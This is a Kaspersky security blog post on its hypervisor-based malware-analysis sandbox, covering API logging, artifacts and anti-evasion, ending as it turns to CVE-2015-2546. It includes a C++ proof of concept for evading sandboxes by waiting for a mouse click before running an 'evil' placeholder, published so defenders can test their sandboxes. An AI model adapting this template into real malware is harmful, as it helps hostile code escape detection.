Kaspersky

Subscribe to Kaspersky hírcsatorna Kaspersky
Online headquarters of Kaspersky Lab security experts.
Frissítve: 25 perc 34 másodperc
2017. szeptember 19.

A Modern Hypervisor as a Basis for a Sandbox

In the field of information security, sandboxes are used to isolate an insecure external environment from a secure internal environment (or vice versa), to protect against the exploitation of vulnerabilities, and to analyze malicious code. At Kaspersky Lab, we have several sandboxes, including an Android sandbox. In this article, we will look at just one of them that was customized to serve the needs of a specific product and became the basis of Kaspersky Anti Targeted Attack Platform. This particular sandbox is an analysis system for Windows applications that helps automate the analysis and detection of malicious code, conduct research and promptly detect the latest types of attacks.

There are several ways of implementing a sandbox to perform dynamic analysis of malicious code. For example, the following methods can be used:

  • Standard emulation, interception of functions in the user space and in the kernel space;
  • Information from kernel callback functions and from various filter drivers;
  • Hardware virtualization.

Combinations of these methods are also possible.

Practice has shown that implementation of full-fledged emulation is a costly affair as it requires continuous support and enhancements to the emulation of API functions, as well as increased attention to execution evasion and emulation detection techniques. Interceptors didn’t last too long either: malware learned to bypass them using relatively simple methods, ‘learning’ to identify if they are present and refusing to execute their malicious payload to avoid detection.

Methods to detect and bypass splicing have been known for years – it’s sufficient to check or trace the prologues of popular API functions or build your own prologues to bypass an interceptor (the latter is used by cryptors and packers). Moreover, splicing technology itself is fairly unstable in a multithreaded environment. It’s also obvious that in a user space the level of isolation of malicious code from interceptors is effectively zero, because the operating system itself is modified – something that is very conspicuous.

And that’s not all. In order to receive the results for the execution of an API function, it’s necessary to regain control after its execution, which is typically done by rewriting the return address. This mechanism has also proven unstable. However, the biggest headache came with the attempt to transfer this sort of mechanism to new operating systems.

Therefore, if a security solution vendor claims their sandbox uses splicing of API functions, takes events from the Windows kernel and is “amazing, unique, undetectable and produces near-100% results”, we recommend you avoid them like the plague. Some vendors may be perfectly happy with that sort of quality, but we definitely aren’t.

Having taken note of all the above facts (and a number of others), we have implemented our own sandbox based on hardware virtualization. At the current time this is an optimal solution in terms of balance between performance, extendibility and isolation.

A hypervisor provides a good degree of isolation of the guest virtual machine from the host by ensuring control over CPU and RAM. At the same time, modern processors have a minimal impact on performance when virtualization is used.

The infrastructure

The hardware for our sandbox has been acquired at different times over recent years, and is still being added to, so its infrastructure is rather diverse. Today, we have around 75 high-performance servers deployed, constituting four nodes in three data centers; in total, there are some 2500 vCPUs. We use a variety of hardware types, from M2 systems and blade servers to M5 systems running Intel Xeon E5, with support for the technologies we need. Up to 2000 virtual machines are running at any given time.

Up to four million objects per day are processed by the service at peak times, and around two million at off-peak times.

For Internet access within the sandbox, about 15 channels are used, the details of which we prefer not to disclose. Outgoing traffic from the node reaches 5 Gb/s at peak times and 2 Gb/sec at off-peak times.

The internal structure

Our sandbox consists of multiple components, each of which is responsible for designated functions. The transport subsystem communicates with the outside world, receives commands from the outside and passes on the collected information. There are subsystems that perform file and network interactions, monitor threads/processes and references to the Windows registry. The logging subsystem collects the input and output information of API functions. There is also a component in the system that emulates user actions. In addition, we have included an option to create and use plugins, so the functional capabilities can be extended.

The advantage of our solution is its broad functionality, plus the logging system can be installed on any operating system or on actual hardware. The image of the guest operating system can be customized to suit the client’s needs.

Our analysts can also create dedicated subprograms to perform detection based on collected artifacts, as well as carry out different types of research. These subprograms include those that operate within the sandbox in real time.

Object processing and artifacts

Depending on the type of file that comes in for processing, it will be ‘packed’ by the Task Processor component into a special kind of packet that contains additional information on how the file should be launched, which operating system to select, the amount of time for processing, etc.

After that, another component, the Task Executor, performs the following actions:

  1. Launches virtual machine;
  2. Submits file;
  3. Applies extra configuration to guest operating system;
  4. Executes file;
  5. Waits until execution is complete;
  6. Scans and/or transfers collected artifacts.

The following artifacts are collected by Kaspersky Lab’s sandbox:

  • Program’s execution log (all API function calls with all parameters, plus some events);
  • Dumps of various memory ranges, loaded modules etc.;
  • All types of changes in file system and system registry;
  • PCAP files containing networking data;
  • Screenshots.
The logging subsystem

The central mechanism of Kaspersky Lab’s sandbox is the logging subsystem that implements the method of non-invasive interception of called API functions and the return values. This means the subsystem is capable of ‘suspending’ the thread of the process being investigated at those moments when it calls an API function or returns from it, and of processing that event synchronously. All this takes place without any modifications to the code.

For each page of the virtual address space, we introduce an attribute of that page’s association with the DLL Known Module (KM). At any given point in time for a particular thread, either the pages that have the KM attribute installed are executable, or those pages where it has not been installed, but never both at the same time. This means that when an API function call is attempted, control is delegated to the KM page which at that moment is not executable according to the above rule. The processor generates an exception, which results in an exit to the hypervisor, and that event is processed. The exact opposite takes place when the API function returns control.

The left-hand side of the above diagram represents the memory of a typical process: the areas highlighted in red are those where execution of instructions is disabled, and the areas in green are those where execution of instructions is enabled. The right of the diagram shows the same process in two states: execution is enabled in the system libraries or elsewhere, but never both at the same time. Accordingly, if you learn how to turn the entire address space of user mode red at the right time, you can catch the returns from system calls.

For all of this to work, copies of original address space page tables are introduced. They are used to translate the virtual address into a physical address. In one of the copies, the pages with the KM attribute are executable, and the pages without the KM attribute are non-executable. In the other copy, it is the other way around. Each record in this sort of table corresponds to a certain page of the virtual address space and, among other things, has the NX attribute that tells the processor if it can execute the instructions on that page. The above rule defines the content of this attribute, depending on the copy and the page’s association with KM. To keep the copies of page tables up to date, there is a module in the subsystem that reacts synchronously to changes in the original address space and, in accordance with our rules, makes those changes to the copies of the address spaces. The operating system, meanwhile, is unaware of the fact that it is running on copies of the original address space, and as far as it is concerned everything is transparent.

Anti-evasion

Modern malware uses a whole variety of methods to evade execution of code that may expose malicious activity.

The following techniques are used most frequently:

  • Detecting a virtual runtime environment (a sandbox, emulator, etc.) from indirect evidence;
  • ‘Targeted’ execution: malicious activity is exposed only if the program is launched in the right/required runtime environment, at a specific time, etc.

If malicious code detects a research environment, the following (or more) may happen:

  • Instantaneous termination;
  • Self-destruction;
  • Execution of a useless section of code;
  • Execution of a secure section of code;
  • Attempt to compromise the detected research system;
  • Other.

If the system does not meet the required parameters, the malicious program may perform any of the above, but most probably it will destroy itself so that it leaves no traces in the system.

Sandbox developers need to pay particular attention to evasion techniques, and Kaspersky Lab is no exception. We find out about these techniques from a variety of sources, such as public presentations, articles, open-source tools (e.g. Pafish) and, of course, from analyzing malicious code. Along with the continuous improvements we make to our sandbox, we have also implemented automated randomization of various guest environment parameters to reduce execution evasion rates.

Vault 7 evasion methods

As a result of the Vault 7 leak, we discovered the following information about a potential method for evading code execution in our sandbox:

“The Trojan Upclicker (as reported by eEye) uses the SetWindowsHookExA API with the WH_MOUSE_LL parameter to wait until the user lets up the left mouse button (WM_LBUTTONUP) before performing any malicious functionality (then it injects into Explorer.exe). A sandbox environment that does not mimic mouse actions (probably most of them) will never execute the malicious behavior. This is probably effective against Kaspersky and others.”

This was an interesting assumption, so we immediately checked it. We implemented a console-based application (the source code is attached, so readers can use it to check their sandboxes), and it was little surprise that the function ExecuteEvil() executed successfully.

.entry-content table tr:first-child td, .entry-content table th { border-bottom: none; font-weight: normal; } .entry-content table td { border-bottom: none; } .gist{font-size:16px;color:#333;text-align:left;/*! * GitHub Light v0.4.1 * Copyright (c) 2012 - 2017 GitHub, Inc. * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) */direction:ltr}.gist .markdown-body{font-family:-apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";font-size:16px;line-height:1.5;word-wrap:break-word}.gist .markdown-body::before{display:table;content:""}.gist .markdown-body::after{display:table;clear:both;content:""}.gist .markdown-body>*:first-child{margin-top:0 !important}.gist .markdown-body>*:last-child{margin-bottom:0 !important}.gist .markdown-body a:not([href]){color:inherit;text-decoration:none}.gist .markdown-body .absent{color:#cb2431}.gist .markdown-body .anchor{float:left;padding-right:4px;margin-left:-20px;line-height:1}.gist .markdown-body .anchor:focus{outline:none}.gist .markdown-body p,.gist .markdown-body blockquote,.gist .markdown-body ul,.gist .markdown-body ol,.gist .markdown-body dl,.gist .markdown-body table,.gist .markdown-body pre{margin-top:0;margin-bottom:16px}.gist .markdown-body hr{height:0.25em;padding:0;margin:24px 0;background-color:#e1e4e8;border:0}.gist .markdown-body blockquote{padding:0 1em;color:#6a737d;border-left:0.25em solid #dfe2e5}.gist .markdown-body blockquote>:first-child{margin-top:0}.gist .markdown-body blockquote>:last-child{margin-bottom:0}.gist .markdown-body kbd{display:inline-block;padding:3px 5px;font-size:11px;line-height:10px;color:#444d56;vertical-align:middle;background-color:#fafbfc;border:solid 1px #c6cbd1;border-bottom-color:#959da5;border-radius:3px;box-shadow:inset 0 -1px 0 #959da5}.gist .markdown-body h1,.gist .markdown-body h2,.gist .markdown-body h3,.gist .markdown-body h4,.gist .markdown-body h5,.gist .markdown-body h6{margin-top:24px;margin-bottom:16px;font-weight:600;line-height:1.25}.gist .markdown-body h1 .octicon-link,.gist .markdown-body h2 .octicon-link,.gist .markdown-body h3 .octicon-link,.gist .markdown-body h4 .octicon-link,.gist .markdown-body h5 .octicon-link,.gist .markdown-body h6 .octicon-link{color:#1b1f23;vertical-align:middle;visibility:hidden}.gist .markdown-body h1:hover .anchor,.gist .markdown-body h2:hover .anchor,.gist .markdown-body h3:hover .anchor,.gist .markdown-body h4:hover .anchor,.gist .markdown-body h5:hover .anchor,.gist .markdown-body h6:hover .anchor{text-decoration:none}.gist .markdown-body h1:hover .anchor .octicon-link,.gist .markdown-body h2:hover .anchor .octicon-link,.gist .markdown-body h3:hover .anchor .octicon-link,.gist .markdown-body h4:hover .anchor .octicon-link,.gist .markdown-body h5:hover .anchor .octicon-link,.gist .markdown-body h6:hover .anchor .octicon-link{visibility:visible}.gist .markdown-body h1 tt,.gist .markdown-body h1 code,.gist .markdown-body h2 tt,.gist .markdown-body h2 code,.gist .markdown-body h3 tt,.gist .markdown-body h3 code,.gist .markdown-body h4 tt,.gist .markdown-body h4 code,.gist .markdown-body h5 tt,.gist .markdown-body h5 code,.gist .markdown-body h6 tt,.gist .markdown-body h6 code{font-size:inherit}.gist .markdown-body h1{padding-bottom:0.3em;font-size:2em;border-bottom:1px solid #eaecef}.gist .markdown-body h2{padding-bottom:0.3em;font-size:1.5em;border-bottom:1px solid #eaecef}.gist .markdown-body h3{font-size:1.25em}.gist .markdown-body h4{font-size:1em}.gist .markdown-body h5{font-size:0.875em}.gist .markdown-body h6{font-size:0.85em;color:#6a737d}.gist .markdown-body ul,.gist .markdown-body ol{padding-left:2em}.gist .markdown-body ul.no-list,.gist .markdown-body ol.no-list{padding:0;list-style-type:none}.gist .markdown-body ul ul,.gist .markdown-body ul ol,.gist .markdown-body ol ol,.gist .markdown-body ol ul{margin-top:0;margin-bottom:0}.gist .markdown-body li>p{margin-top:16px}.gist .markdown-body li+li{margin-top:0.25em}.gist .markdown-body dl{padding:0}.gist .markdown-body dl dt{padding:0;margin-top:16px;font-size:1em;font-style:italic;font-weight:600}.gist .markdown-body dl dd{padding:0 16px;margin-bottom:16px}.gist .markdown-body table{display:block;width:100%;overflow:auto}.gist .markdown-body table th{font-weight:600}.gist .markdown-body table th,.gist .markdown-body table td{padding:6px 13px;border:1px solid #dfe2e5}.gist .markdown-body table tr{background-color:#fff;border-top:1px solid #c6cbd1}.gist .markdown-body table tr:nth-child(2n){background-color:#f6f8fa}.gist .markdown-body table img{background-color:transparent}.gist .markdown-body img{max-width:100%;box-sizing:content-box;background-color:#fff}.gist .markdown-body img[align=right]{padding-left:20px}.gist .markdown-body img[align=left]{padding-right:20px}.gist .markdown-body .emoji{max-width:none;vertical-align:text-top;background-color:transparent}.gist .markdown-body span.frame{display:block;overflow:hidden}.gist .markdown-body span.frame>span{display:block;float:left;width:auto;padding:7px;margin:13px 0 0;overflow:hidden;border:1px solid #dfe2e5}.gist .markdown-body span.frame span img{display:block;float:left}.gist .markdown-body span.frame span span{display:block;padding:5px 0 0;clear:both;color:#24292e}.gist .markdown-body span.align-center{display:block;overflow:hidden;clear:both}.gist .markdown-body span.align-center>span{display:block;margin:13px auto 0;overflow:hidden;text-align:center}.gist .markdown-body span.align-center span img{margin:0 auto;text-align:center}.gist .markdown-body span.align-right{display:block;overflow:hidden;clear:both}.gist .markdown-body span.align-right>span{display:block;margin:13px 0 0;overflow:hidden;text-align:right}.gist .markdown-body span.align-right span img{margin:0;text-align:right}.gist .markdown-body span.float-left{display:block;float:left;margin-right:13px;overflow:hidden}.gist .markdown-body span.float-left span{margin:13px 0 0}.gist .markdown-body span.float-right{display:block;float:right;margin-left:13px;overflow:hidden}.gist .markdown-body span.float-right>span{display:block;margin:13px auto 0;overflow:hidden;text-align:right}.gist .markdown-body code,.gist .markdown-body tt{padding:0;padding-top:0.2em;padding-bottom:0.2em;margin:0;font-size:85%;background-color:rgba(27,31,35,0.05);border-radius:3px}.gist .markdown-body code::before,.gist .markdown-body code::after,.gist .markdown-body tt::before,.gist .markdown-body tt::after{letter-spacing:-0.2em;content:"\00a0"}.gist .markdown-body code br,.gist .markdown-body tt br{display:none}.gist .markdown-body del code{text-decoration:inherit}.gist .markdown-body pre{word-wrap:normal}.gist .markdown-body pre>code{padding:0;margin:0;font-size:100%;word-break:normal;white-space:pre;background:transparent;border:0}.gist .markdown-body .highlight{margin-bottom:16px}.gist .markdown-body .highlight pre{margin-bottom:0;word-break:normal}.gist .markdown-body .highlight pre,.gist .markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:#f6f8fa;border-radius:3px}.gist .markdown-body pre code,.gist .markdown-body pre tt{display:inline;max-width:auto;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.gist .markdown-body pre code::before,.gist .markdown-body pre code::after,.gist .markdown-body pre tt::before,.gist .markdown-body pre tt::after{content:normal}.gist .markdown-body .csv-data td,.gist .markdown-body .csv-data th{padding:5px;overflow:hidden;font-size:12px;line-height:1;text-align:left;white-space:nowrap}.gist .markdown-body .csv-data .blob-num{padding:10px 8px 9px;text-align:right;background:#fff;border:0}.gist .markdown-body .csv-data tr{border-top:0}.gist .markdown-body .csv-data th{font-weight:600;background:#f6f8fa;border-top:0}.gist .pl-c{color:#6a737d}.gist .pl-c1,.gist .pl-s .pl-v{color:#005cc5}.gist .pl-e,.gist .pl-en{color:#6f42c1}.gist .pl-smi,.gist .pl-s .pl-s1{color:#24292e}.gist .pl-ent{color:#22863a}.gist .pl-k{color:#d73a49}.gist .pl-s,.gist .pl-pds,.gist .pl-s .pl-pse .pl-s1,.gist .pl-sr,.gist .pl-sr .pl-cce,.gist .pl-sr .pl-sre,.gist .pl-sr .pl-sra{color:#032f62}.gist .pl-v,.gist .pl-smw{color:#e36209}.gist .pl-bu{color:#b31d28}.gist .pl-ii{color:#fafbfc;background-color:#b31d28}.gist .pl-c2{color:#fafbfc;background-color:#d73a49}.gist .pl-c2::before{content:"^M"}.gist .pl-sr .pl-cce{font-weight:bold;color:#22863a}.gist .pl-ml{color:#735c0f}.gist .pl-mh,.gist .pl-mh .pl-en,.gist .pl-ms{font-weight:bold;color:#005cc5}.gist .pl-mi{font-style:italic;color:#24292e}.gist .pl-mb{font-weight:bold;color:#24292e}.gist .pl-md{color:#b31d28;background-color:#ffeef0}.gist .pl-mi1{color:#22863a;background-color:#f0fff4}.gist .pl-mc{color:#e36209;background-color:#ffebda}.gist .pl-mi2{color:#f6f8fa;background-color:#005cc5}.gist .pl-mdr{font-weight:bold;color:#6f42c1}.gist .pl-ba{color:#586069}.gist .pl-sg{color:#959da5}.gist .pl-corl{text-decoration:underline;color:#032f62}.gist .breadcrumb{margin-bottom:10px;font-size:18px;color:#586069}.gist .breadcrumb .separator::before,.gist .breadcrumb .separator::after{content:" "}.gist .breadcrumb strong.final-path{color:#24292e}.gist .breadcrumb .zeroclipboard-button{display:inline-block;margin-left:5px}.gist .breadcrumb .repo-root{font-weight:600}.gist .breadcrumb .octicon{vertical-align:-2px}.gist .editor-license-template,.gist .editor-code-of-conduct-template,.gist .editor-gitignore-template{position:relative;top:3px;display:block;float:right;font-size:14px}.gist .editor-license-template .select-menu-git-ignore,.gist .editor-code-of-conduct-template .select-menu-git-ignore,.gist .editor-gitignore-template .select-menu-git-ignore{right:0}.gist .editor-abort{display:inline;font-size:14px}.gist .blob-interaction-bar{position:relative;background-color:#f2f2f2;border-bottom:1px solid #e5e5e5}.gist .blob-interaction-bar::before{display:table;content:""}.gist .blob-interaction-bar::after{display:table;clear:both;content:""}.gist .blob-interaction-bar .octicon-search{position:absolute;top:10px;left:10px;font-size:12px;color:#586069}.gist .blob-filter{width:100%;padding:4px 20px 5px 30px;font-size:12px;border:0;border-radius:0;outline:none}.gist .blob-filter:focus{outline:none}.gist .html-blob{margin-bottom:15px}.gist .license-summary-octicon{color:#959da5}.gist .rule-type-permissions{color:#28a745}.gist .rule-type-conditions{color:#0366d6}.gist .rule-type-limitations{color:#d73a49}.gist .blob-wrapper{overflow-x:auto;overflow-y:hidden;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.gist .blob-wrapper-embedded{max-height:240px;overflow-y:auto}.gist .diff-table{width:100%;border-collapse:separate}.gist .diff-table .line-comments{padding:10px;vertical-align:top;border-top:1px solid #e1e4e8}.gist .diff-table .line-comments:first-child+.empty-cell{border-left-width:1px}.gist .diff-table tr:not(:last-child) .line-comments{border-top:1px solid #e1e4e8;border-bottom:1px solid #e1e4e8}.gist .blob-num{width:1%;min-width:50px;padding-right:10px;padding-left:10px;font-family:"SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace;font-size:12px;line-height:20px;color:rgba(27,31,35,0.3);text-align:right;white-space:nowrap;vertical-align:top;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.gist .blob-num:hover{color:rgba(27,31,35,0.6)}.gist .blob-num::before{content:attr(data-line-number)}.gist .blob-num.non-expandable{cursor:default}.gist .blob-num.non-expandable:hover{color:rgba(27,31,35,0.3)}.gist .blob-code{position:relative;padding-right:10px;padding-left:10px;line-height:20px;vertical-align:top}.gist .blob-code-inner{overflow:visible;font-family:"SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace;font-size:12px;color:#24292e;word-wrap:normal;white-space:pre}.gist .blob-code-inner .x-first{border-top-left-radius:0.2em;border-bottom-left-radius:0.2em}.gist .blob-code-inner .x-last{border-top-right-radius:0.2em;border-bottom-right-radius:0.2em}.gist .blob-code-inner::before{content:""}.gist .blob-code-inner.highlighted{background-color:#fffbdd}.gist .soft-wrap .diff-table{table-layout:fixed}.gist .soft-wrap .blob-code{padding-left:18px;text-indent:-7px}.gist .soft-wrap .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.gist .soft-wrap .no-nl-marker{display:none}.gist .soft-wrap .add-line-comment{margin-left:-28px}.gist .blob-num-hunk,.gist .blob-code-hunk,.gist .blob-num-expandable,.gist .blob-code-expandable{color:rgba(27,31,35,0.5);vertical-align:middle}.gist .blob-num-hunk,.gist .blob-num-expandable{background-color:#dbedff}.gist .blob-code-hunk,.gist .blob-code-expandable{padding-top:4px;padding-bottom:4px;background-color:#f1f8ff;border-width:1px 0}.gist .blob-expanded .blob-num,.gist .blob-expanded .blob-code{background-color:#fafbfc}.gist .blob-expanded+tr:not(.blob-expanded) .blob-num,.gist .blob-expanded+tr:not(.blob-expanded) .blob-code{border-top:1px solid #eaecef}.gist .blob-expanded .blob-num-hunk{border-top:1px solid #eaecef}.gist tr:not(.blob-expanded)+.blob-expanded .blob-num,.gist tr:not(.blob-expanded)+.blob-expanded .blob-code{border-top:1px solid #eaecef}.gist .blob-num-expandable{padding:0;font-size:12px;text-align:center}.gist .blob-num-expandable .octicon{vertical-align:top}.gist .blob-num-expandable .diff-expander{display:block;width:auto;height:auto;padding:4px 11px 4px 10px;margin-right:-1px;color:#586069;cursor:pointer}.gist .blob-num-expandable .diff-expander:hover{color:#fff;text-shadow:none;background-color:#0366d6;border-color:#0366d6}.gist .blob-code-addition{background-color:#e6ffed}.gist .blob-code-addition .x{color:#24292e;background-color:#acf2bd}.gist .blob-num-addition{background-color:#cdffd8;border-color:#bef5cb}.gist .blob-code-deletion{background-color:#ffeef0}.gist .blob-code-deletion .x{color:#24292e;background-color:#fdb8c0}.gist .blob-num-deletion{background-color:#ffdce0;border-color:#fdaeb7}.gist .selected-line.blob-code{background-color:#fffbdd}.gist .selected-line.blob-code .x{background-color:transparent}.gist .selected-line.blob-num{background-color:#fff5b1;border-color:#ffea7f}.gist .add-line-comment{position:relative;z-index:5;float:left;width:22px;height:22px;margin:-2px -10px -2px -20px;line-height:21px;color:#fff;text-align:center;text-indent:0;cursor:pointer;background-color:#0366d6;background-image:linear-gradient(#0372ef, #0366d6);border-radius:3px;box-shadow:0 1px 4px rgba(27,31,35,0.15);opacity:0;transition:-webkit-transform 0.1s ease-in-out;transition:transform 0.1s ease-in-out;-webkit-transform:scale(0.8, 0.8);transform:scale(0.8, 0.8)}.gist .add-line-comment:hover{-webkit-transform:scale(1, 1);transform:scale(1, 1)}.is-hovered .gist .add-line-comment,.gist .add-line-comment:focus{opacity:1}.gist .add-line-comment .octicon{vertical-align:text-top;pointer-events:none}.gist .add-line-comment.octicon-check{background:#333;opacity:1}.gist .inline-comment-form{border:1px solid #dfe2e5;border-radius:3px}.gist .inline-review-comment{margin-top:0 !important;margin-bottom:10px !important}.gist .inline-review-comment .gc:first-child+tr .blob-num,.gist .inline-review-comment .gc:first-child+tr .blob-code{padding-top:5px}.gist .inline-review-comment tr:last-child{border-bottom-right-radius:2px;border-bottom-left-radius:2px}.gist .inline-review-comment tr:last-child .blob-num,.gist .inline-review-comment tr:last-child .blob-code{padding-bottom:8px}.gist .inline-review-comment tr:last-child .blob-num:first-child,.gist .inline-review-comment tr:last-child .blob-code:first-child{border-bottom-left-radius:2px}.gist .inline-review-comment tr:last-child .blob-num:last-child,.gist .inline-review-comment tr:last-child .blob-code:last-child{border-bottom-right-radius:2px}.gist .timeline-inline-comments{width:100%;table-layout:fixed}.gist .timeline-inline-comments .inline-comments,.gist .show-inline-notes .inline-comments{display:table-row}.gist .inline-comments{display:none}.gist .inline-comments.is-collapsed{display:none}.gist .inline-comments .line-comments.is-collapsed{visibility:hidden}.gist .inline-comments .line-comments+.blob-num{border-left-width:1px}.gist .inline-comments .timeline-comment{margin-bottom:10px}.gist .inline-comments .inline-comment-form,.gist .inline-comments .inline-comment-form-container{max-width:780px}.gist .comment-holder{max-width:780px}.gist .line-comments+.line-comments,.gist .empty-cell+.line-comments{border-left:1px solid #eaecef}.gist .inline-comment-form-container .inline-comment-form,.gist .inline-comment-form-container.open .inline-comment-form-actions{display:none}.gist .inline-comment-form-container .inline-comment-form-actions,.gist .inline-comment-form-container.open .inline-comment-form{display:block}.gist body.split-diff .container,.gist body.full-width .container{width:100%;padding-right:20px;padding-left:20px}.gist body.split-diff .repository-content,.gist body.full-width .repository-content{width:100%}.gist body.split-diff .new-pr-form,.gist body.full-width .new-pr-form{max-width:980px}.gist body.split-diff .new-pr-form .discussion-sidebar,.gist body.full-width .new-pr-form .discussion-sidebar{width:200px}.gist .file-diff-split{table-layout:fixed}.gist .file-diff-split .blob-code+.blob-num{border-left:1px solid #f6f8fa}.gist .file-diff-split .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.gist .file-diff-split .empty-cell{cursor:default;background-color:#fafbfc;border-right-color:#eaecef}.gist .submodule-diff-stats .octicon-diff-removed{color:#cb2431}.gist .submodule-diff-stats .octicon-diff-renamed{color:#677a85}.gist .submodule-diff-stats .octicon-diff-modified{color:#d0b44c}.gist .submodule-diff-stats .octicon-diff-added{color:#28a745}.gist .BlobToolbar{left:-17px}.gist .BlobToolbar-dropdown{margin-left:-2px}.gist .task-list-item{list-style-type:none}.gist .task-list-item label{font-weight:normal}.gist .task-list-item.enabled label{cursor:pointer}.gist .task-list-item+.task-list-item{margin-top:3px}.gist .task-list-item .handle{display:none}.gist .task-list-item-checkbox{margin:0 0.2em 0.25em -1.6em;vertical-align:middle}.gist .reorderable-task-lists .markdown-body .contains-task-list{padding:0}.gist .reorderable-task-lists .markdown-body li:not(.task-list-item){margin-left:26px}.gist .reorderable-task-lists .markdown-body ol:not(.contains-task-list) li,.gist .reorderable-task-lists .markdown-body ul:not(.contains-task-list) li{margin-left:0}.gist .reorderable-task-lists .markdown-body li p{margin-top:0}.gist .reorderable-task-lists .markdown-body .task-list-item{padding-right:15px;padding-left:42px;margin-right:-15px;margin-left:-15px;border:1px solid transparent}.gist .reorderable-task-lists .markdown-body .task-list-item+.task-list-item{margin-top:0}.gist .reorderable-task-lists .markdown-body .task-list-item .contains-task-list{padding-top:4px}.gist .reorderable-task-lists .markdown-body .task-list-item .handle{display:block;float:left;width:20px;padding:2px 0 0 2px;margin-left:-43px;opacity:0}.gist .reorderable-task-lists .markdown-body .task-list-item .drag-handle{fill:#333}.gist .reorderable-task-lists .markdown-body .task-list-item.hovered{background:#fafafa;border-top-color:#ededed;border-bottom-color:#ededed}.gist .reorderable-task-lists .markdown-body .task-list-item.hovered>.handle{opacity:1}.gist .reorderable-task-lists .markdown-body .task-list-item.is-dragging{opacity:0}.gist .reorderable-task-lists .markdown-body .task-list-item.is-ghost{border-right-color:#ededed;border-left-color:#ededed}.gist .review-comment-contents .markdown-body .task-list-item{padding-left:42px;margin-right:-12px;margin-left:-12px;border-top-left-radius:3px;border-bottom-left-radius:3px}.gist .review-comment-contents .markdown-body .task-list-item.hovered{border-left-color:#ededed}.gist .highlight{padding:0;margin:0;font-family:"SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace;font-size:12px;font-weight:normal;line-height:1.4;color:#333;background:#fff;border:0}.gist .render-viewer-error,.gist .render-viewer-fatal,.gist .render-viewer-invalid,.gist .octospinner{display:none}.gist iframe.render-viewer{width:100%;height:480px;overflow:hidden;border:0}.gist pre,.gist code{font-family:"SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace !important;white-space:pre}.gist .gist-meta{padding:10px;overflow:hidden;font:12px -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";color:#586069;background-color:#f7f7f7;border-radius:0 0 2px 2px}.gist .gist-meta a{font-weight:600;color:#666;text-decoration:none;border:0}.gist .gist-data{overflow:auto;word-wrap:normal;background-color:#fff;border-bottom:1px solid #ddd;border-radius:2px 2px 0 0}.gist .gist-file{margin-bottom:1em;font-family:"SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace;border:1px solid #ddd;border-bottom:1px solid #ccc;border-radius:3px}.gist .gist-file article{padding:6px}.gist .gist-file .scroll .gist-data{position:absolute;top:0;right:0;bottom:30px;left:0;overflow:scroll}.gist .gist-file .scroll .gist-meta{position:absolute;right:0;bottom:0;left:0}.gist .blob-num{min-width:inherit;padding:1px 10px !important;background:transparent}.gist .blob-code{padding:1px 10px !important;text-align:left;background:transparent;border:0}.gist .blob-wrapper table{border-collapse:collapse}.gist .blob-wrapper tr:first-child td{padding-top:4px}.gist .markdown-body .anchor{display:none} /* Copyright 2017 AO Kaspersky Lab. All Rights Reserved. Anti-Sandboxing: Wait for Mouse Click PoC: https://wikileaks.org/ciav7p1/cms/page_2621847.html RU: https://securelist.ru/a-modern-hypervisor-as-a-basis-for-a-sandbox/80739/ EN: https://securelist.com/a-modern-hypervisor-as-a-basis-for-a-sandbox/81902/ */ #include “stdafx.h“ #include <windows.h> #include <iostream> #include <thread> #include <atomic> HHOOK global_hook = nullptr; std::atomic<bool> global_ready(true); void ExecuteEvil() { std::cout << “This will never be executed in Sandbox“ << std::endl; // TODO: add your EVIL code here UnhookWindowsHookEx(global_hook); ExitProcess(42); } LRESULT CALLBACK LowLevelMouseProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam) { if ( nCode < 0 ) { return CallNextHookEx(nullptr, nCode, wParam, lParam); } if ( nCode == HC_ACTION && wParam == WM_LBUTTONUP && global_ready == true ) { global_ready = false; std::thread(ExecuteEvil).detach(); // execute EVIL thread detached } return CallNextHookEx(nullptr, nCode, wParam, lParam); } int _tmain(int argc, _TCHAR* argv[]) { FreeConsole(); // hide console window global_hook = SetWindowsHookEx(WH_MOUSE_LL, LowLevelMouseProc, nullptr, 0); // emulate message queue MSG msg; while ( GetMessage(&msg, NULL, 0, 0) ) { Sleep(0); } return 0; }

GitHub

It came as no surprise, because there is a dedicated component in our sandbox that emulates user actions and whose actions are indistinguishable from those of a regular user. This component exhibits generic behavior and, moreover, it ‘knows’ popular applications, interacting with them just like a regular user, e.g. it ‘reads’ documents opened in Microsoft Word and installs applications if an installer is launched.

Heuristic search for exploits

Thanks to a system of plugins, we can infinitely expand the functionalities of the sandbox. One such plugin, Exploit Checker, detects typical activity of early post-exploitation phases. The events it detects are logged, and the memory assigned to them is dumped to the hard drive for further analysis.

Below are some examples of Exploit Checker events:

  • Exploited exceptions:
    • DEP violation
    • Heap corruption
    • Illegal/privileged instruction
    • Others
  • Stack execution;
  • EoP detection;
  • Predetection of Heap Spray;
  • Execution of user space code in Ring 0;
  • Change of process token;
  • Others
CVE-2015-2546

Let’s take a look at the vulnerability CVE-2015-2545 and its extension CVE-2015-2546. Microsoft Office versions 2007 SP3, 2010 SP2, 2013 SP1 and 2013 RT SP1 are exposed to the former – it allows remote attackers to execute arbitrary code using a crafted EPS file. The latter allows remote attackers to execute arbitrary code in kernel mode. Both vulnerabilities were used in a targeted attack by the Platinum (aka TwoForOne) group. The attackers first exploited CVE-2015-2545 to execute code in the process WINWORD.EXE, and then CVE-2015-2546 to escalate privileges up to the SYSTEM level.

CVE-2015-2546 is a classic Use-After-Free (UAF)-type vulnerability. Exploitation results in an escalation of process privileges up to SYSTEM level. Let’s take a closer look at this second vulnerability.

